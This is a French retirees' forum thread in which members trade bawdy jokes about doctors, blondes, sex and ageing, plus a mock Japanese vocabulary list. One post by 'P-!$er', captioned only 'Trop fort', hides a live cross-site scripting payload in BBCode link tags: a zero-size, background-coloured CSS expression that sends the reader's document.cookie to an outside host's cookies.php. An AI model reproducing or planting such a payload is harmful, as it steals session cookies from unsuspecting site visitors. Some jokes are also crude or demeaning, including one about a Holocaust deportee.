Retraite Active

[Guytout]

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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

Alors les filles, pour ou contre le port du Kilt? ? ? ? ?
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Marie]

LE KAMA-SUTRA...

C'est un type qui descend la poubelle, arrive au 2ème étage, il rencontre sur le palier une superbe blonde qui lui dit :

- Viens chez moi, je vais te faire des trucs que l'on ose même pas imaginer...

Il suit la fille et en effet, pendant 2 heures, elle lui sert un Kama Sutra d'enfer. Quand il revint à lui, la blonde lui demande

- Quelles excuses vas-tu imaginer pour ta femme…

Puis il dit:

- T'as de l'ombre à paupières bleue ?

- Oui, bien sûre

Puis il s'enduit les doigts de bleu puis il rentre chez lui.

Sa femme l'attendait furax et lui dit:

- Tu peux me dire ce que tu as foutu durant tout ce temps ?

- Et ben, j'ai rencontré une blonde d'enfer sur le palier, je suis allée chez elle, on a fait l'amour comme des bêtes pendant 2 heures...

- Mais tu me prends vraiment pour une conne, t'es encore allé te faire un billard avec tes pots, t'as plein de craies sur les doigts ! ...

(merci à PAULETTE pour cette farce)

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un sourire éclaire votre journée

[Guytout]

Je ne la connaisait pas, elle est terrible.....Bien Marie
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

!petit cour de japonais...

Francais___ __Japonais



slip (h)___ __sakakiki

slip (f)__ ___sakafoufou

slip (enfant)___ __sakakaka

string___ __filakuku

soutin-gorge___ __sakanéné

minijupe___ __oraduku

mini plus courte___ __ymatouvu

mini provocante___ __oraduku takataté

moto en panne___ __yamamoto kadératé

il fait froid__ _ osakaï

femme en cloque__ _ymatoumi

qui arrive pas à être en cloque_____takékétaraté-takarataké

Femme poilue___ __tétoufu

rhume____ _nékikoul

cassoulet___ __takapété

soixante-neuf .......... Kisuski

enlver tes cheussures___ __takakitététong

défringue toi__ ___takatoukaté

prendre une photo___ __yakapa gouger

devant la porte___ __nakasoné

amiral de la flotte___ __ychi duoduma

terrain glissant____ _tadérapé téfoutu

tromperie___ __tékoku ou imafékoku (suivant le cas)

mal noté___ __imasaké

recours rejeté__ ___tuledanlku

fin du cour ................... takaplus kabossé hihihi !

mdr n'importe nawak !
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Marie]

[b][[/b]
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un sourire éclaire votre journée

[lilas]

il est superbe celui-là - amusez-vous.....
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on devrait bâtir les villes à la campagne, l'air y est plus pur

[Marie]

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un sourire éclaire votre journée

[Marie]

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un sourire éclaire votre journée

[Marie]

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un sourire éclaire votre journée

[Marie]

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un sourire éclaire votre journée

[Marie]

L' interne de garde aux urgences décroche le téléphone. Au bout du fil, un mari affolé :

- Docteur, elle a mal, elle a des contractions horribles, elle vient de perdre les eaux, elle a mal, très mal et ..

- Calmez-vous, monsieur, vous ...

- Oui, mais elle a vraiment très mal, qu'est-ce que je dois faire ?

- Vous gardez votre calme et vous venez !

- Oui, d'accord, d'accord ... euh ... J'amène ma femme ?

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- Je vous donne votre date de césarienne .. Voyons, le 4 septembre,

ça vous va ?

- Oui ... euh ... et le bébé ... je l'aurai le même jour ?

(merci à BENOIT RENGER pour ces farces)



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un sourire éclaire votre journée

[lilas]

une chauve-souris, Marie
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on devrait bâtir les villes à la campagne, l'air y est plus pur

[Marie]

bravo lisa!!!!!! bises
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un sourire éclaire votre journée

[Marie]

LA PRESCRIPTION...

Ce patient était en train de serrer chaleureusement la main de son médecin; et voulant lui témoigner toute sa gratitude il ajoute:

- Puisque maintenant nous sommes devenus de bons amis, et puisque vous m'avez tiré d'un bien mauvais pas, je ne vous offenserez pas en vous payant cette visite... mais je veux que vous sachiez que je vous ai couché sur mon testament!

Le médecin répond:

- C'est très gentil à vous. Euh, pendant que j'y pense, pouvez-vous me
montrer à nouveau l'ordonnance que je vous ai faite, j'aimerai y faire un petit changement.

(merco à CLARA pour cette farce)



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un sourire éclaire votre journée

[Guytout]

Une femme chez le chirurgien esthétique: - J'aimerai avoir de plus gros seins. Combien cela me coûterait-il?
L'homme de l'art: - Cela coûterait environ 50 000 frs
La femme: - Je ne peux pas me le permettre... N'y a-t-il pas une alternative à la chirurgie?
Le docteur essayant d'être aimable: - Vous pourriez essayer de vous frotter les seins avec du papier toilette...
La femme: -Du papier toilette??? Comment cela pourrait-il me rendre les seins plus gros?
Le docteur: regardez ce que cela a réussi à faire à votre postérieur...


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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

C'est une femme qui va chez le dentiste.
Au moment où le dentiste s'approche du fauteuil pour commencer son travail, elle lui attrape les testicules au travers de ses vêtements!
Le dentiste lui dit:
"Wow! Madame, vous êtes en train de me serrer les parties...."
La femme lui répond:
"Oui. Et maintenant, nous allons être prudent et tenter de ne pas nous faire mal, ni l'un, ni l'autre. D'accord?"
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

Une jeune fille et un jeune homme sont dans la salle d'attente d'un médecin. Le médecin les fait entrer dans son cabinet et leur demande pour quel motif ils consultent

"Docteur, nous aimerions savoir si nous nous y prenons bien pour faire l'amour. Pourriez-vous nous regarder faire afin de nous rassurer?"

Le docteur, stupéfait mais intéressé tombe d'accord avec eux.

Alors ils grimpent tous les deux sur la table d'examen, adoptent la position du Missionnaire et font l'amour.

Lorsqu'ils ont fini, le docteur leur dit:
"Pas de problème: Votre façon de faire l'amour est tout à fait correcte. Ça vous fera 200 frs"

Le lendemain, les deux jeunes gens reviennent. Ils demande la même chose au médecin que la veille.
Le médecin étant toujours d'accord, les amoureux prennent à nouveau position sur la table d'examen.
Cette fois-ci, le jeune garçon prend la jeune femme en levrette.

Et les jours suivant, le jeune couple revient faire l'amour dans le cabinet du médecin,
en adoptant à chaque fois une nouvelle position.

Le cinquième jour, le docteur leur demande:
"Pourquoi continuez vous à venir?
Ce n'est pas que le spectacle que vous me procurez chaque jour me déplaise,
mais il est clair que vous maîtrisez parfaitement les choses de l'amour"

Alors le garçon explique: "

C'est que la chambre d'hôtel coûte elle aussi 200 frs, mais elle, elle n'est pas remboursée par la Sécu"
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

Dans la vie, il y a plusieurs choses à prendre en considération ;
l'amitié en est une, le temps qu'il fera demain en est une aussi.

Ainsi chacun s'accorde pour prendre en considération l'essentiel de son activité comme la chose la plus importante.
En y réfléchissant bien, il y a 60 milions de français.
Sur cette masse on enlève les quelques 18 millions de vieux qui passent la journée à attendre et à creuser le trou de la sécurité sociale,
les 15 millions de jeunes qui s'amusent à ne rien foutre, à fumer de la moquette et à s'emmerder au lycée,
les 3, 5 millions de chomeurs et les 7,6 millions d'exclus .
Enlevons encore les 6 millions de fonctionnaires qui de toute façon ne foutent rien,
les 5,256989 emplois précaires qui courent d'intérim en ANPE,

les quelques 3,869324 malades qui voyagent entre les cabinets et les lits d'hôpital,
les 4, 359458 agents territoriaux, flics, pompiers qui branlent que dalle et sont grassement payés pour ça,
les 2,414227 médecins et infirmières qui ne foutent guère plus et passent la plupart du temps au café,
en cuisine ou à truander leurs malades....

finalement il ne reste que toi et moi pour bosser dans ce foutu pays et dire que pendant que je me tue au boulot,

tu es là assis ( se ) à lire ces conneries.


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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[Guytout]

Deux étudiants en médecine prennent un verre à la terrasse d'un café.

L'un des deux avise un passant qui avance d'une démarche hésitante et précautionneuse :
- Tiens, je te parie que ce type souffre d'hémorroïdes.
- T'es fou ? Ce gars a une tourista, c'est évident !
- Bon, on va lui demander, il va nous mettre d'accord.
Ils se lèvent et abordent le pauvre gars :
- Excusez-nous, monsieur, nous sommes étudiants en médecine.
J'ai parié que vous souffriez d'hémorroïdes, mais mon copain pense plutôt qu'il s'agit d'une tourista.

Qu'avez-vous en réalité ?

- Eh bien vous voyez, on s'est trompés tous les trois. Moi, je pensais que c'était juste un pet... mais, c'est la diarrhée...
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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[musika]

merci guytout !!!! vraiment tu es le soleil de ce forum
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poete_musika..4 mains

[ATHAS]

..Je vais vous raconter une petite histoire
Elle est vieille mais marrante (enfin ,je crois)
Ce sont deux hommes qui satisfont à un petit besoin urinaire dans un wc public (côte à côte)
Celui de droite s'adressant à son voisin, lui dit:
-Vous étiez déporté!!!
--L'autre ,surpris, dit...oui
-Vous étiez à Dachau!!
--Encore plus surpris, l'autre dit..euh.. oui
-bloc ..C..Oflag 3!!
--Alors...là
-Vous êtes juif et vous avez été circoncis par le grand rabbin BLOG
--L'autre soufflé par tant d'informations sur ses antécédents
demande alors..mais comment savez-vous tout çà?
-Voilà, çà 2 minutes que vous me pissez sur les souliers
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Ne vous penchez pas trop sur votre passé,
vous risqueriez de tomber dans l'oubli

[Marie]

ONDE ET VICTOR-HUGO...

Un homme et sa femme, blonde, sortent au restaurant pour fêter leur dixième anniversaire de mariage.

Alors que le serveur s'approche pour leur remettre les menus, la blonde lorgne le contenu des assiettes sur les tables voisines pour trouver l'inspiration. Tout à coup, elle donne un petit coup de pied discret à son mari :

- Chéri, retourne-toi et regarde. Je crois que c'est Victor Hugo à la table à côté...

L'homme se retourne machinalement et répond d'un air consterné :

- Chérie, tu sais bien que Victor Hugo est mort depuis longtemps.

La blonde en proie au doute réplique :

- Tu es sûr ?

Mais quelques secondes plus tard, elle donne un autre coup de pied à son mari :

- Non, regarde... Il a bougé.

(merci à CARLA pour cette farce)



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un sourire éclaire votre journée

[Marie]

voila une blague





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un sourire éclaire votre journée

[Marie]

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un sourire éclaire votre journée

[Marie]

LA VALEUR DE L'HOMME ET DE LA FEMME...

Une étude a été faite aux USA au sujet de la valeur des hommes et des femmes. Ils sont arrivés à la conclusion que les femmes valaient 1'612'000 € et les hommes 4,20€.

En effet, chez les femmes, il y a :

- un centre de fabrication : 496'000.- €

- une centrale laitière : 496'000.- €

- un centre d'accueil : 620'000 €

Soit au total : 1'612'000 €

Chez les hommes, il y a :

- Une croquette : 1 €

- Deux boulettes : 1,5€ pièce (soit 3 €)

- 0.2 € pour la sauce...

(merci à CARLA pour cette farce)








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un sourire éclaire votre journée

[P-!$er]

Trop fort

[url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://bossehug.free.fr/cookies.php?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'

[chouchoute]

P-!$er ce serait sympa que tu nous dises plus de trois mots dans chaque post. Viens donc un peu bavarder avec nous, tu sais, on ne mord pas du tout ici....Et puis, si c'était le cas, nous avons une infirmière depuis peu....
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[Marie]

LE PENIS ET LES SEINS...

Les oignons...

C'est au dîner que ça se passe, la fille adolescente demande à sa maman :

- Maman, combien de types de pénis existe-t-il ?

La mère, surprise, répond, regardant le mari (dans la cinquantaine):

- Eh bien, heu... ma fille, chez l'homme, ça passe toujours par trois phases : À vingt ans, le pénis de l'homme en érection est dur comme un chêne. Entre trente et quarante ans, c'est comme le bambou, flexible mais sûr. À cinquante, il devient un sapin de Noël.

Le Père:

- Un sapin de Noël ?!

La Mère:

- Oui, tout sec, avec des boules qui pendouillent pour la décoration.

Le fils alors demande au père :

- Et les seins des femmes, papa, combien de types de seins existe-t-il ?

Le père, déjà fâché, répond :

- Eh bien, mon fils, il en existe trois types aussi. À vingt ans, les seins d'une femme sont comme des melons, bien ronds et bien fermes. Entre trente et quarante, ils sont comme des poires, encore agréables, même si leur forme laisse à désirer. Après quarante ans, ils deviennent comme des oignons.

La Mère :

- Des oignons?!

Le Père :

- Oui, tu les regardes et tu pleures...

(merci à MARTINE pour cette farce)









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un sourire éclaire votre journée

[Guytout]

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avoir à choisir entre
le ciel et l'enfer......
J'ai des amis dans les deux endroits

[chouchoute]

Eh bien marie.....
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[musika]

c'est qui la MARTINE qui a fait cette farce................
bref tout le monde pendouille à partir de la cinquantaine.........toi aussi
GUYTOUT .................

personnellement moi NON...........j ai vérifié, rien de tout cela
tout tien.................non mais !!!
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poete_musika..4 mains

[ATHAS]

J'ai la nette impression que vous tirez un peu trop la couverture
Alors les mecs sont nuls et vous terribles...
Comment savez-vous çà
On vous l'a dit ou vous l'avez vécu
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Ne vous penchez pas trop sur votre passé,
vous risqueriez de tomber dans l'oubli